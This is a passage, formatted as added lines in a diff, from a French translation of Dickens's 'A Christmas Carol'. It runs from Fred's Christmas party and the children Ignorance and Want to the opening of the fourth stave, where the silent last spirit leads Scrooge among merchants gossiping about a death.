+reconnaissants, charmés les uns des autres et contents de leur
+sort; et au moment où Scrooge les quitta, ils semblaient de plus
+en plus heureux encore à la lueur des étincelles que la torche de
+l'esprit répandait sur eux; aussi les suivit-il du regard, et en
+particulier Tiny Tim, sur lequel il tint l'oeil fixé jusqu'au
+bout.
+
+Cependant la nuit était venue, sombre et noire; la neige tombait à
+gros flocons, et, tandis que Scrooge parcourait les rues avec
+l'esprit, l'éclat des feux pétillait dans les cuisines, dans les
+salons, partout, avec un effet merveilleux. Ici, la flamme
+vacillante laissait voir les préparatifs d'un bon petit dîner de
+famille, avec les assiettes qui chauffaient devant le feu, et des
+rideaux épais d'un rouge foncé, qu'on allait tirer bientôt pour
+empêcher le froid et l'obscurité de la rue. Là, tous les enfants
+de la maison s'élançaient dehors dans la neige au-devant de leurs
+soeurs mariées, de leurs frères, de leurs cousins, de leurs
+oncles, de leurs tantes, pour être les premiers à leur dire
+bonjour. Ailleurs, les silhouettes des convives se dessinaient sur
+les stores. Un groupe de belles jeunes filles, encapuchonnées,
+chaussées de souliers fourrés, et causant toutes à la fois, se
+rendaient d'un pied léger chez quelque voisin; malheur alors au
+célibataire (les rusées magiciennes, elles le savaient bien!) qui
+les y verrait faire leur entrée avec leur teint vermeil, animé par
+le froid!
+
+À en juger par le nombre de ceux qu'ils rencontraient sur leur
+route se rendant à d'amicales réunions, vous auriez pu croire
+qu'il ne restait plus personne dans les maisons pour leur donner
+la bienvenue à leur arrivée, quoique ce fut tout le contraire; pas
+une maison où l'on n'attendît compagnie, pas une cheminée où l'on
+n'eût empilé le charbon jusqu'à la gorge. Aussi, Dieu du ciel!
+comme l'esprit était ravi d'aise! comme il découvrait sa large
+poitrine! comme il ouvrait sa vaste main! comme il planait au-
+dessus de cette foule, déversant avec générosité sa joie vive et
+innocente sur tout ce qui se trouvait à sa portée! Il n'y eut pas
+jusqu'à l'allumeur de réverbères qui, dans sa course devant lui,
+marquant de points lumineux les rues ténébreuses, tout habillé
+déjà pour aller passer sa soirée quelque part, se mit à rire aux
+éclats lorsque l'esprit passa près de lui, bien qu'il ne sût pas,
+le brave homme, qu'il eût en ce moment pour compagnie Noël en
+personne.
+
+Tout à coup, sans que le spectre eût dit un seul mot pour préparer
+son compagnon à ce brusque changement, ils se trouvèrent au milieu
+d'un marais triste, désert, parsemé de monstrueux tas de pierres
+brutes, comme si c'eût été un cimetière de géants; l'eau s'y
+répandait partout où elle voulait, elle n'avait pas d'autre
+obstacle que la gelée qui la retenait prisonnière; il ne venait
+rien en ce triste lieu, si ce n'est de la mousse, des genêts et
+une herbe chétive et rude. À l'horizon, du côté de l'ouest, le
+soleil couchant avait laissé une traînée de feu d'un rouge ardent
+qui illumina un instant ce paysage désolé, comme le regard
+étincelant d'un oeil sombre, dont les paupières s'abaissant peu à
+peu, jusqu'à ce qu'elles se ferment tout à fait, finirent par se
+perdre complètement dans l'obscurité d'une nuit épaisse.
+
+«Où sommes-nous? demanda Scrooge.
+
+-- Nous sommes où vivent les mineurs, ceux qui travaillent dans
+les entrailles de la terre, répondit l'esprit; mais ils me
+reconnaissent. Regardez!»
+
+Une lumière brilla à la fenêtre d'une pauvre hutte, et ils se
+dirigèrent rapidement de ce côté. Passant à travers le mur de
+pierres et de boue, ils trouvèrent une joyeuse compagnie assemblée
+autour d'un feu splendide. Un vieux, vieux bonhomme et sa femme,
+leurs enfants, leurs petits-enfants, et une autre génération
+encore, étaient tous là réunis, vêtus de leurs habits de fête. Le
+vieillard, d'une voix qui s'élevait rarement au-dessus des
+sifflements aigus du vent sur la lande déserte, leur chantait un
+Noël (déjà fort ancien lorsqu'il n'était lui-même qu'un tout petit
+enfant); de temps en temps ils reprenaient tous ensemble le
+refrain. Chaque fois qu'ils chantaient, le vieillard sentait
+redoubler sa vigueur et sa verve; mais chaque fois, dès qu'ils se
+taisaient, il retombait dans sa première faiblesse.
+
+L'esprit ne s'arrêta pas en cet endroit, mais ordonna à Scrooge de
+saisir fortement sa robe et le transporta, en passant au-dessus du
+marais, où? Pas à la mer, sans doute? Si, vraiment, à la mer.
+Scrooge, tournant la tête, vit avec horreur, bien loin derrière
+eux, la dernière langue de terre, une rangée de rochers affreux;
+ses oreilles furent assourdies par le bruit des flots qui
+tourbillonnaient, mugissaient avec le fracas du tonnerre et
+venaient se briser au sein des épouvantables cavernes qu'ils
+avaient creusées, comme si, dans les accès de sa rage, la mer eût
+essayé de miner la terre.
+
+Bâti sur le triste récif d'un rocher à fleur d'eau, à quelques
+lieues du rivage, et battu par les eaux tout le long de l'année
+avec un acharnement furieux, se dressait un phare solitaire.
+D'énormes tas de plantes marines s'accumulaient à sa base, et les
+oiseaux des tempêtes, engendrés par les vents, peut-être comme les
+algues par les eaux, voltigeaient alentour, s'élevant et
+s'abaissant tour à tour, comme les vagues qu'ils effleuraient dans
+leur vol.
+
+Mais, même en ce lieu, deux hommes chargés de la garde du phare
+avaient allumé un feu qui jetait un rayon de clarté sur
+l'épouvantable mer, à travers l'ouverture pratiquée dans l'épaisse
+muraille. Joignant leurs mains calleuses par-dessus la table
+grossière devant laquelle ils étaient assis, ils se souhaitaient
+l'un à l'autre un joyeux Noël en buvant leur grog, et le plus âgé
+des deux dont le visage était racorni et couturé par les
+intempéries de l'air, comme une de ces figures sculptées à la
+proue d'un vieux bâtiment, entonna de sa voix rauque un chant
+sauvage qu'on aurait pu prendre lui-même pour un coup de vent
+pendant l'orage.
+
+Le spectre allait toujours au-dessus de la mer sombre et houleuse,
+toujours, toujours, jusqu'à ce que dans son vol rapide, bien loin
+de la terre et de tout rivage, comme il l'apprit à Scrooge, ils
+s'abattirent sur un vaisseau et se placèrent tantôt près du
+timonier à la roue du gouvernail, tantôt à la vigie sur l'avant,
+ou à côté des officiers de quart, visitant ces sombres et
+fantastiques figures dans les différents postes où ils montaient
+leur faction. Mais chacun de ces hommes fredonnait un chant de
+Noël, ou pensait à Noël, ou rappelait à voix basse à son compagnon
+quelque Noël passé, avec les espérances qui s'y rattachent d'un
+retour heureux au sein de la famille. Tous, à bord, éveillés ou
+endormis, bons ou méchants, avaient échangé les uns avec les
+autres, ce matin-là, une parole plus bienveillante qu'en aucun
+autre jour de l'année; tous avaient pris une part plus ou moins
+grande à ses joies; ils s'étaient tous souvenus de leurs parents
+ou de leurs amis absents, comme ils avaient espéré tous qu'à leur
+tour ceux qui leur étaient chers éprouvaient dans le même moment
+le même plaisir à penser à eux.
+
+Ce fut une grande surprise pour Scrooge, tandis qu'il prêtait
+l'oreille aux gémissements plaintifs du vent, et qu'il songeait à
+ce qu'avait de solennel un semblable voyage au milieu des
+ténèbres, par-dessus des abîmes inconnus dont les profondeurs
+étaient des secrets aussi impénétrables que la mort; ce fut une
+grande surprise pour Scrooge, ainsi plongé dans ses réalisations,
+d'entendre un rire joyeux. Mais sa surprise devint bien plus
+grande encore quand il reconnut que cet éclat de rire avait été
+poussé par son neveu, et se vit lui-même dans une chambre
+parfaitement éclairée, chaude, brillante de propreté, avec
+l'esprit à ses côtés, souriant et jetant sur ce même neveu des
+regards pleins de douceur et de complaisance.
+
+«Ah! ah! ah! faisait le neveu de Scrooge. Ah! ah! ah!»
+
+S'il vous arrivait, par un hasard peu probable, de rencontrer un
+homme qui sût rire de meilleur coeur que le neveu de Scrooge, tout
+ce que je puis vous dire, c'est que j'aimerais à faire aussi sa
+connaissance. Faites-moi le plaisir de me le présenter, et je
+cultiverai sa société.
+
+Par une heureuse, juste et noble compensation des choses d'ici-
+bas, si la maladie et le chagrin sont contagieux, il n'y a rien
+qui le soit plus irrésistiblement aussi que le rire et la bonne
+humeur. Pendant que le neveu de Scrooge riait de cette manière, se
+tenant les côtes, et faisant faire à son visage les contorsions
+les plus extravagantes, la nièce de Scrooge, sa nièce par
+alliance, riait d'aussi bon coeur que lui; leurs amis réunis chez
+eux n'étaient pas le moins du monde en arrière et riaient
+également à gorge déployée. Ah! ah! ah! ah! ah! ah!
+
+«Oui, ma parole d'honneur, il m'a dit, s'écria le neveu de
+Scrooge, que Noël était une sottise. Et il le pensait!
+
+-- Ce n'en est que plus honteux pour lui, Fred! dit la nièce de
+Scrooge avec indignation. Car parlez-moi des femmes, elles ne font
+jamais rien à demi; elles prennent tout au sérieux.»
+
+La nièce de Scrooge était jolie, excessivement jolie, avec un
+charmant visage, un air naïf, candide: une ravissante petite
+bouche qui semblait faite pour être baisée, et elle l'était, sans
+aucun doute; sur le menton, quantité de petites fossettes qui se
+fondaient l'une dans l'autre lorsqu'elle riait, et les deux yeux
+les plus vifs, les plus pétillants que vous ayez jamais vus
+illuminer la tête d'une jeune fille; en un mot, sa beauté avait
+quelque chose de provoquant peut-être, mais on voyait bien aussi
+qu'elle était prête à donner satisfaction. Oh! mais, satisfaction
+complète.
+
+«C'est un drôle de corps, le vieux bonhomme! dit le neveu de
+Scrooge; c'est vrai, et il pourrait être plus agréable, mais ses
+défauts portent avec eux leur propre châtiment, et je n'ai rien à
+dire contre lui.
+
+-- Je crois qu'il est très riche, Fred? poursuivit la nièce de
+Scrooge; au moins, vous me l'avez toujours dit.
+
+-- Qu'importe sa richesse, ma chère amie, reprit son mari; elle ne
+lui est d'aucune utilité; il ne s'en sert pour faire du bien à
+personne, pas même à lui. Il n'a pas seulement la satisfaction de
+penser... ah! ah! ah!... que c'est nous qu'il en fera profiter
+bientôt.
+
+-- Tenez! je ne peux pas le souffrir,» continua la nièce.
+
+Les soeurs de la nièce de Scrooge et toutes les autres dames
+présentes exprimèrent la même opinion.
+
+«Oh! bien, moi, dit le neveu, je suis plus tolérant que vous; j'en
+suis seulement peiné pour lui, et jamais je ne pourrais lui en
+vouloir quand même j'en aurais envie, car enfin, qui souffre de
+ses boutades et de sa mauvaise humeur? Lui, lui seul. Ce que j'en
+dis, ce n'est pas parce qu'il s'est mis en tête de ne pas nous
+aimer assez pour venir dîner avec nous; car, après tout, il n'a
+perdu qu'un méchant dîner...
+
+-- Vraiment! eh bien! je pense, moi, qu'il perd un fort bon
+dîner», dit sa petite femme, l'interrompant.
+
+Tous les convives furent du même avis, et on doit reconnaître
+qu'ils étaient juges compétents en cette matière, puisqu'ils
+venaient justement de le manger; dans ce moment, le dessert était
+encore sur la table, et ils se pressaient autour du feu à la lueur
+de la lampe.
+
+«Ma foi! je suis enchanté de l'apprendre, reprit le neveu de
+Scrooge, parce que je n'ai pas grande confiance dans le talent de
+ces jeunes ménagères. Qu'en dites-vous, Topper?»
+
+Topper avait évidemment jeté les yeux sur une des soeurs de la
+nièce de Scrooge, car il répondit qu'un célibataire était un
+misérable paria qui n'avait pas le droit d'exprimer une opinion
+sur ce sujet; et là-dessus, la soeur de la nièce de Scrooge, la
+petite femme rondelette que vous voyez là-bas avec un fichu de
+dentelles, pas celle qui porte à la main un bouquet de roses, se
+mit à rougir.
+
+«Continuez donc ce que vous alliez nous dire, Fred, dit la petite
+femme en frappant des mains. Il n'achève jamais ce qu'il a
+commencé! Que c'est donc ridicule!»
+
+Le neveu de Scrooge s'abandonna bruyamment à un nouvel accès
+d'hilarité, et, comme il était impossible de se préserver de la
+contagion, quoique la petite soeur potelée essayât apparemment de
+le faire en respirant force vinaigre aromatique, tout le monde
+sans exception suivit son exemple.
+
+«J'allais ajouter seulement, dit le neveu de Scrooge, qu'en nous
+faisant mauvais visage et en refusant de venir se réjouir avec
+nous, il perd quelques moments de plaisir qui ne lui auraient pas
+fait de mal. À coup sûr, il se prive d'une compagnie plus agréable
+qu'il ne saurait en trouver dans ses propres pensées, dans son
+vieux comptoir humide ou au milieu de ses chambres poudreuses.
+Cela n'empêche pas que je compte bien lui offrir chaque année la
+même chance, que cela lui plaise ou non, car j'ai pitié de lui.
+Libre à lui de se moquer de Noël jusqu'à sa mort, mais il ne
+pourra s'empêcher d'en avoir meilleure opinion, j'en suis sûr,
+lorsqu'il me verra venir tous les ans, toujours de bonne humeur,
+lui dire: «Oncle Scrooge, comment vous portez-vous?» Si cela
+pouvait seulement lui donner l'idée de laisser douze cents francs
+à son pauvre commis, ce serait déjà quelque chose. Je ne sais pas,
+mais pourtant je crois bien l'avoir ébranlé hier.»
+
+Ce fut à leur tour de rire maintenant à l'idée présomptueuse qu'il
+eût pu ébranler Scrooge. Mais comme il avait un excellent
+caractère, et qu'il ne s'inquiétait guère de savoir pourquoi on
+riait, pourvu que l'on rît, il les encouragea dans leur gaieté en
+faisant circuler joyeusement la bouteille.
+
+Après le thé, on fit un peu de musique; car c'était une famille de
+musiciens qui s'entendaient à merveille, je vous assure, à chanter
+des ariettes et des ritournelles, surtout Topper, qui savait faire
+gronder sa basse comme un artiste consommé, sans avoir besoin de
+gonfler les larges veines de son front, ni de devenir rouge comme
+une écrevisse. La nièce de Scrooge pinçait très bien de la harpe:
+entre autres morceaux, elle joua un simple petit air (un rien que
+vous auriez pu apprendre à siffler en deux minutes), justement
+l'air favori de la jeune fille qui allait autrefois chercher
+Scrooge à sa pension, comme le fantôme de Noël passé le lui avait
+rappelé. À ces sons bien connus, tout ce que le spectre lui avait
+montré alors se présenta de nouveau à son souvenir; de plus en
+plus attendri, il songea que, s'il avait pu souvent entendre cet
+air, depuis de longues années, il aurait sans doute cultivé de ses
+propres mains, pour son bonheur, les douces affections de la vie,
+ce qui valait mieux que d'aiguiser la bêche impatiente du
+fossoyeur qui avait enseveli Jacob Marley.
+
+Mais la soirée ne fut pas consacrée tout entière à la musique. Au
+bout de quelques instants, on joua aux gages touchés, car il faut
+bien redevenir enfants quelquefois, surtout à Noël, un jour de
+fête fondé par un Dieu enfant. Attention! voilà qu'on commence
+d'abord par une partie de colin-maillard. Oh! le tricheur de
+Topper! Il fait semblant de ne pas voir avec son bandeau, mais,
+n'ayez pas peur, il n'a pas ses yeux dans sa poche. Je suis sûr
+qu'il s'est entendu avec le neveu de Scrooge, et que l'esprit de
+Noël présent ne s'y est pas laissé prendre. La manière dont le
+soi-disant aveugle poursuit la petite soeur rondelette au fichu de
+dentelle est une véritable insulte à la crédulité de la nature
+humaine. Qu'elle renverse le garde-feu, qu'elle roule par-dessus
+les chaises, qu'elle aille se cogner contre le piano, ou bien
+qu'elle s'étouffe dans les rideaux, partout où elle va, il y va;
+il sait toujours reconnaître où est la petite soeur rondelette; il
+ne veut attraper personne autre; vous avez beau le heurter en
+courant, comme tant d'autres l'ont fait exprès, il fera bien
+semblant de chercher à vous saisir, avec une maladresse qui fait
+injure à votre intelligence, mais à l'instant il ira se jeter de
+côté dans la direction de la petite soeur rondelette. «Ce n'est
+pas de franc jeu», dit-elle souvent en fuyant, et elle a raison;
+mais lorsqu'il l'attrape à la fin, quand, en dépit de ses
+mouvements rapides pour lui échapper, et de tous les frémissements
+de sa robe de soie froissée à chaque meuble, il est parvenu à
+l'acculer dans un coin, d'où elle ne peut plus sortir, sa conduite
+alors devient vraiment abominable. Car, sous prétexte qu'il ne
+sait pas qui c'est, il faut qu'il touche sa coiffure; sous
+prétexte de s'assurer de son identité, il se permet de toucher
+certaine bague qu'elle porte au doigt, de manier certaine chaîne
+passée autour de son cou. Le vilain monstre! aussi nul doute
+qu'elle ne lui en dise sa façon de penser, maintenant que le
+mouchoir ayant passé sur les yeux d'une autre personne, ils ont
+ensemble un entretien si confidentiel, derrière les rideaux, dans
+l'embrasure de la fenêtre!
+
+La nièce de Scrooge n'était pas de la partie de colin-maillard;
+elle était demeurée dans un bon petit coin de la salle, assise à
+son aise sur un fauteuil avec un tabouret sous les pieds; le
+fantôme et Scrooge se tenaient debout derrière elle; mais, par
+exemple, elle prenait part aux gages touchés et fut
+particulièrement admirable à _Comment l'aimez-vous_? avec toutes
+les lettres de l'alphabet. De même au jeu de _Où, quand et
+comment? _elle était fort habile, et, à la joie secrète du neveu
+de Scrooge, elle battait à plates coutures toutes ses soeurs,
+quoiqu'elles ne fussent pas sottes, non; demandez plutôt à Topper.
+Il se trouvait bien là environ une vingtaine d'invités, tant
+jeunes que vieux, mais tout le monde jouait, jusqu'à Scrooge lui-
+même, qui, oubliant tout à fait, tant il s'intéressait à cette
+scène, qu'on ne pouvait entendre sa voix, criait tout haut les
+mots qu'on donnait à deviner; et il rencontrait juste fort souvent
+je dois l'avouer, car l'aiguille la plus pointue, la meilleure
+_Whitechapel_, garantie pour ne pas couper le fil, n'est pas plus
+fine ni plus déliée que l'esprit de Scrooge, avec l'air benêt
+qu'il se donnait exprès pour attraper le monde.
+
+Le spectre prenait plaisir à le voir dans ces dispositions et il
+le regardait d'un air si rempli de bienveillance, que Scrooge lui
+demanda en grâce, comme l'eût fait un enfant, de rester
+jusqu'après le départ des conviés. Mais pour ce qui est de cela,
+l'esprit lui dit que c'était une chose impossible.
+
+«Voici un nouveau jeu, dit Scrooge. Une demi-heure, esprit,
+seulement une demi-heure!»
+
+C'était le jeu appelé _Oui et non;_ le neveu de Scrooge devait
+penser à quelque chose et les autres chercher à deviner ce à quoi
+il pensait; il ne répondait à toutes leurs questions que par _oui_
+et par _non_, suivant le cas. Le feu roulant d'interrogations
+auxquelles il se vit exposé lui arracha successivement une foule
+d'aveux: qu'il pensait à un animal, que c'était un animal vivant,
+un animal désagréable, un animal sauvage, un animal qui grondait
+et grognait quelquefois, qui d'autres fois parlait, qui habitait
+Londres, qui se promenait dans les rues, qu'on ne montrait pas
+pour de l'argent, qui n'était mené en laisse par personne, qui, ne
+vivait pas dans une ménagerie, qu'on ne tuait jamais à l'abattoir,
+et qui n'était ni un cheval, ni un âne, ni une vache, ni un
+taureau, ni un tigre, ni un chien, ni un cochon, ni un chat, ni un
+ours. À chaque nouvelle question qui lui était adressée, ce gueux
+de neveu partait d'un nouvel éclat de rire, et il lui en prenait
+de telles envies, qu'il était obligé de se lever du sofa pour
+trépigner sur le parquet. À la fin, la soeur rondelette, prise à
+son tour d'un fou rire, s'écria:
+
+«Je l'ai trouvé! Je le tiens, Fred! Je sais ce que c'est.
+
+-- Qu'est-ce donc? demanda Fred.
+
+-- C'est votre oncle Scro-o-o-o-oge!»
+
+C'était cela même. L'admiration fut le sentiment général, quoique
+quelques personnes fissent remarquer que la réponse à cette
+question «Est-ce un ours?» aurait dû être «Oui»; d'autant qu'il
+avait suffi dans ce cas d'une réponse négative pour détourner
+leurs pensées de M. Scrooge, en supposant qu'elles se fussent
+portées sur lui d'abord.
+
+«Eh bien! il a singulièrement contribué à nous divertir, dit Fred,
+et nous serions de véritables ingrats si nous ne buvions à sa
+santé. Voici justement que nous tenons à la main chacun un verre
+de punch au vin; ainsi donc: À l'oncle Scrooge!
+
+-- Soit! à l'oncle Scrooge! s'écrièrent-ils tous.
+
+-- Un joyeux Noël et une bonne année au vieillard, n'importe ce
+qu'il est! dit le neveu de Scrooge. Il n'accepterait pas ce
+souhait de ma bouche, mais il l'aura néanmoins. À l'oncle
+Scrooge!»
+
+L'oncle Scrooge s'était laissé peu à peu si bien gagner par
+l'hilarité générale, il se sentait le coeur si léger, qu'il aurait
+fait raison à la compagnie, quoiqu'elle ne s'aperçût pas de sa
+présence, et prononcé un discours de remerciement que personne
+n'eût entendu, si le spectre lui en avait donné le temps. Mais la
+scène entière disparut comme le neveu prononçait la dernière
+parole de son toast; et déjà Scrooge et l'esprit avaient repris le
+cours de leurs voyages.
+
+Ils virent beaucoup de pays, allèrent fort loin et visitèrent un
+grand nombre de demeures, et toujours avec d'heureux résultats
+pour ceux que Noël approchait. L'esprit se tenait auprès du lit
+des malades, et ils oubliaient leurs maux sur la terre étrangère,
+et l'exilé se croyait pour un moment transporté au sein de la
+patrie. Il visitait une âme en lutte avec le sort et aussitôt elle
+s'ouvrait à des sentiments de résignation et à l'espoir d'un
+meilleur avenir. Il abordait les pauvres, et aussitôt ils se
+croyaient riches. Dans les maisons de charité, les hôpitaux, les
+prisons, dans tous ces refuges de la misère, où l'homme vain et
+orgueilleux n'avait pu abuser de sa petite autorité si passagère
+pour en interdire l'entrée et en barrer la porte à l'esprit, il
+laissait sa bénédiction et enseignait à Scrooge ses préceptes
+charitables.
+
+Ce fut là une longue nuit, si toutes ces choses s'accomplirent
+seulement en une nuit; mais Scrooge en douta, parce qu'il lui
+semblait que plusieurs fêtes de Noël avaient été condensées dans
+l'espace de temps qu'ils passèrent ensemble. Une chose étrange
+aussi, c'est que, tandis que Scrooge n'éprouvait aucune
+modification dans sa forme extérieure, le fantôme devenait plus
+vieux, visiblement plus vieux. Scrooge avait remarqué ce
+changement, mais il n'en dit pas un mot, jusqu'à ce que, au sortir
+d'un lieu où une réunion d'enfants célébrait les Rois, jetant les
+yeux sur l'esprit quand ils furent seuls, il s'aperçut que ses
+cheveux avaient blanchi.
+
+«La vie des esprits est-elle donc si courte? demanda-t-il.
+
+-- Ma vie sur ce globe est très courte, en effet, répondit le
+spectre. Elle finit cette nuit.
+
+-- Cette nuit! s'écria Scrooge.
+
+-- Ce soir, à minuit. Écoutez! L'heure approche.»
+
+En ce moment, l'horloge sonnait les trois quarts de onze heures.
+
+«Pardonnez-moi l'indiscrétion de ma demande, dit Scrooge, qui
+regardait attentivement la robe de l'esprit, mais je vois quelque
+chose d'étrange et qui ne vous appartient pas, sortir de dessous
+votre robe. Est-ce un pied ou une griffe?
+
+-- Ce pourrait être une griffe, à en juger par la chair qui est
+au-dessus, répondit l'esprit avec tristesse. Regardez.»
+
+Des plis de sa robe, il dégagea deux enfants, deux créatures
+misérables, abjectes, effrayantes, hideuses, repoussantes, qui
+s'agenouillèrent à ses pieds et se cramponnèrent à son vêtement.
+
+«Oh! homme! regarde, regarde à tes pieds!» s'écria le fantôme.
+
+C'étaient un garçon et une fille, jaunes, maigres, couverts de
+haillons, au visage renfrogné, féroces, quoique rampants dans leur
+abjection. Une jeunesse gracieuse aurait dû remplir leurs joues et
+répandre sur leur teint ses plus fraîches couleurs; au lieu de
+cela, une main flétrie et desséchée, comme celle du temps, les
+avait ridés, amaigris, décolorés; ces traits où les anges auraient
+dû trôner, les démons s'y cachaient plutôt pour lancer de là des
+regards menaçants. Nul changement, nulle dégradation, nulle
+décomposition de l'espèce humaine, à aucun degré, dans tous les
+mystères les plus merveilleux de la création, n'ont produit des
+monstres à beaucoup près aussi horribles et aussi effrayants.
+
+Scrooge recula, pâle de terreur; ne voulant pas blesser l'esprit,
+leur père peut-être, il essaya de dire que c'étaient de beaux
+enfants, mais les mots s'arrêtèrent d'eux-mêmes dans sa gorge,
+pour ne pas se rendre complices d'un mensonge si énorme.
+
+«Esprit! est-ce que ce sont vos enfants?»
+
+Scrooge n'en put dire davantage.
+
+«Ce sont les enfants des hommes, dit l'esprit, laissant tomber sur
+eux un regard, et ils s'attachent à moi pour me porter plainte
+contre leurs pères. Celui-là est l'ignorance; celle-ci la misère.
+Gardez-vous de l'un et de l'autre et de toute leur descendance,
+mais surtout du premier, car sur son front je vois écrit:
+Condamnation. Hâte-toi, Babylone, dit-il en étendant sa main vers
+la Cité; hâte-toi d'effacer ce mot, qui te condamne plus que lui;
+toi à ta ruine, comme lui au malheur. Ose dire que tu n'en es pas
+coupable; calomnie même ceux qui t'accusent: Cela peut servir au
+succès de tes desseins abominables. Mais gare la fin!
+
+-- N'ont-ils donc aucun refuge, aucune ressource? s'écria Scrooge.
+
+-- N'y a-t-il pas des prisons? dit l'esprit, lui renvoyant avec
+ironie pour la dernière fois ses propres paroles. N'y a-t-il pas
+des maisons de force?»
+
+L'horloge sonnait minuit. Scrooge chercha du regard le spectre et
+ne le vit plus. Quand le dernier son cessa de vibrer, il se
+rappela la prédiction du vieux Jacob Marley, et, levant les yeux,
+il aperçut un fantôme à l'aspect solennel, drapé dans une robe à
+capuchon et qui venait à lui glissant sur la terre comme une
+vapeur.
+
+
+
+Quatrième couplet
+
+Le dernier esprit
+
+Le fantôme approchait d'un pas lent, grave et silencieux. Quand il
+fut arrivé près de Scrooge, celui-ci fléchit le genou, car cet
+esprit semblait répandre autour de lui, dans l'air qu'il
+traversait, une terreur sombre et mystérieuse.
+
+Une longue robe noire l'enveloppait tout entier et cachait sa
+tête, son visage, sa forme, ne laissant rien voir qu'une de ses
+mains étendues, sans quoi il eut été très difficile de détacher
+cette figure des ombres de la nuit, et de la distinguer de
+l'obscurité complète dont elle était environnée.
+
+Quand Scrooge vint se placer à ses cotés, il reconnut que le
+spectre était d'une taille élevée et majestueuse, et que sa
+mystérieuse présence le remplissait d'une crainte solennelle. Mais
+il n'en sut pas davantage, car l'esprit ne prononçait pas une
+parole et ne faisait aucun mouvement.
+
+«Suis-je en la présence du spectre de Noël à venir?», dit Scrooge.
+
+L'esprit ne répondit rien, mais continua de tenir la main tendue
+en avant.
+
+«Vous allez me montrer les ombres des choses qui ne sont pas
+arrivées encore et qui arriveront dans la suite des temps,
+poursuivit Scrooge. N'est-ce pas, esprit?»
+
+La partie supérieure de la robe du fantôme se contracta un instant
+par le rapprochement de ses plis, comme si le spectre avait
+incliné la tête. Ce fut la seule réponse qu'il en obtint.
+
+Quoique habitué déjà au commerce des esprits, Scrooge éprouvait
+une telle frayeur en présence de ce spectre silencieux, que ses
+jambes tremblaient sous lui et qu'il se sentit à peine la force de
+se tenir debout, quand il se prépara à le suivre. L'esprit
+s'arrêta un moment, comme s'il eût remarqué son trouble et qu'il
+eût voulu lui donner le temps de se remettre.
+
+Mais Scrooge n'en fut que plus agité; un frisson de terreur vague
+parcourait tous ses membres, quand il venait à songer que derrière
+ce sombre linceul, des yeux de fantôme étaient attentivement fixés
+sur lui, et que, malgré tous ses efforts, il ne pouvait voir
+qu'une main de spectre et une grande masse noirâtre.
+
+«Esprit de l'avenir! s'écria-t-il; je vous redoute plus qu'aucun
+des spectres que j'aie encore vus! Mais, parce que je sais que
+vous vous proposez mon bien, et parce que j'espère vivre de
+manière à être un tout autre homme que je n'étais, je suis prêt à
+vous accompagner avec un coeur reconnaissant. Ne me parlerez-vous
+pas?»
+
+Point de réponse. La main seule était toujours tendue droit devant
+eux.
+
+«Guidez-moi! dit Scrooge, guidez-moi! La nuit avance rapidement;
+c'est un temps précieux pour moi, je le sais. Esprit, guidez-moi.»
+
+Le fantôme s'éloigna de la même manière qu'il était venu. Scrooge
+le suivit dans l'ombre de sa robe, et il lui sembla que cette
+ombre la soulevait et l'emportait avec elle.
+
+On ne pourrait pas dire précisément qu'ils entrèrent dans la
+ville, ce fut plutôt la ville qui sembla surgir autour d'eux et
+les entourer de son propre mouvement. Toutefois ils étaient au
+coeur même de la Cité, à la Bourse, parmi les négociants qui
+allaient de çà et de là en toute hâte, faisant sonner l'argent
+dans leurs poches, se groupant pour causer affaires, regardant à
+leurs montres et jouant d'un air pensif avec leurs grandes
+breloques, etc., etc., comme Scrooge les avait vus si souvent.
+
+L'esprit s'arrêta près d'un petit groupe de ces capitalistes.
+Scrooge, remarquant la direction de sa main tendue de leur côté,
+s'approcha pour entendre la conversation.
+
+«Non..., disait un grand et gros homme avec un menton monstrueux,
+je n'en sais pas davantage; je sais seulement qu'il est mort.
+
+-- Quand est-il mort? demanda un autre.
+
+-- La nuit dernière, je crois.
+
+-- Comment, et de quoi est-il mort? dit un troisième personnage en
+prenant une énorme prise de tabac dans une vaste tabatière. Je
+croyais qu'il ne mourrait jamais...
+
+-- Il n'y a que Dieu qui le sache, reprit le premier avec un
+bâillement.
+
+-- Qu'a-t-il fait de son argent? demanda un monsieur à la face
+rubiconde dont le bout du nez était orné d'une excroissance de
+chair qui pendillait sans cesse comme les caroncules d'un dindon.
+
+-- Je n'en sais trop rien, fit l'homme au double menton en
+bâillant de nouveau. Peut-être l'a-t-il laissé à sa société; en
+tout cas, ce n'est pas à moi qu'il l'a laissé: voilà tout ce que
+je sais.»
+
+Cette plaisanterie fut accueillie par un rire général.
+
+«Il est probable, dit le même interlocuteur, que les chaises ne
+lui coûteront pas cher à l'église, non plus que les voitures; car,
+sur mon âme, je ne connais personne qui soit disposé à aller à son
+enterrement. Si nous faisions la partie d'y aller sans invitation!
+
+-- Cela m'est égal, s'il y a une collation, observa le monsieur à
+la loupe; mais je veux être nourri pour la peine.
+
+-- Eh bien! après tout, dit celui qui avait parlé le premier, je
+vois que je suis encore le plus désintéressé de vous tous, car je
+n'y allais pas pour qu'on me donnât des gants noirs, je n'en porte
+pas; ni pour sa collation, je ne goûte jamais; et pourtant je
+m'offre à y aller, si quelqu'un veut venir avec moi. C'est que,
+voyez-vous, en y réfléchissant je ne suis pas sûr le moins du
+monde de n'avoir pas été son plus intime ami, car nous avions
+l'habitude de nous arrêter pour échanger quelques mots toutes les
+fois que nous nous rencontrions. Adieu, messieurs; au revoir!»
+
+Le groupe se dispersa et alla se mêler à d'autres. Scrooge
+reconnaissait tous ces personnages: il regarda l'esprit comme pour
+lui demander l'explication de ce qu'il venait d'entendre.
+
+Le fantôme se glissa dans une rue et montra du doigt deux
+individus qui s'abordaient. Scrooge écouta encore, croyant trouver
+là le mot de l'énigme.
+
+Il les reconnaissait également très bien; c'étaient deux
+négociants, riches et considérés. Il s'était toujours piqué d'être
+bien placé dans leur estime, au point de vue des affaires,
+s'entend, purement et simplement au point de vue des affaires.
+
+«Comment vous portez-vous? dit l'un.
+
+-- Et vous? répondit l'autre.
+
+-- Bien! fit le premier. Le vieux _Gobseck_ a donc enfin son
+compte, hein?
+
+-- On me l'a dit...; il fait froid, n'est-ce pas?
+
+-- Peuh! Un temps de la saison! temps de Noël. Vous ne patinez
+pas, je suppose?
+
+-- Non, non; j'ai bien autre chose à faire. Bonjour.»
+
+Pas un mot de plus. Telles furent leur rencontre, leur
+conversation et leur séparation. Scrooge eut d'abord la pensée de
+s'étonner que l'esprit attachât une telle importance à des
+conversations en apparence si triviales; mais intimement convaincu
+qu'elles devaient avoir un sens caché, il se mit à considérer, à
+part lui, quel il pouvait être selon toutes les probabilités. Il
+était difficile qu'elles se rapportassent à la mort de Jacob, son
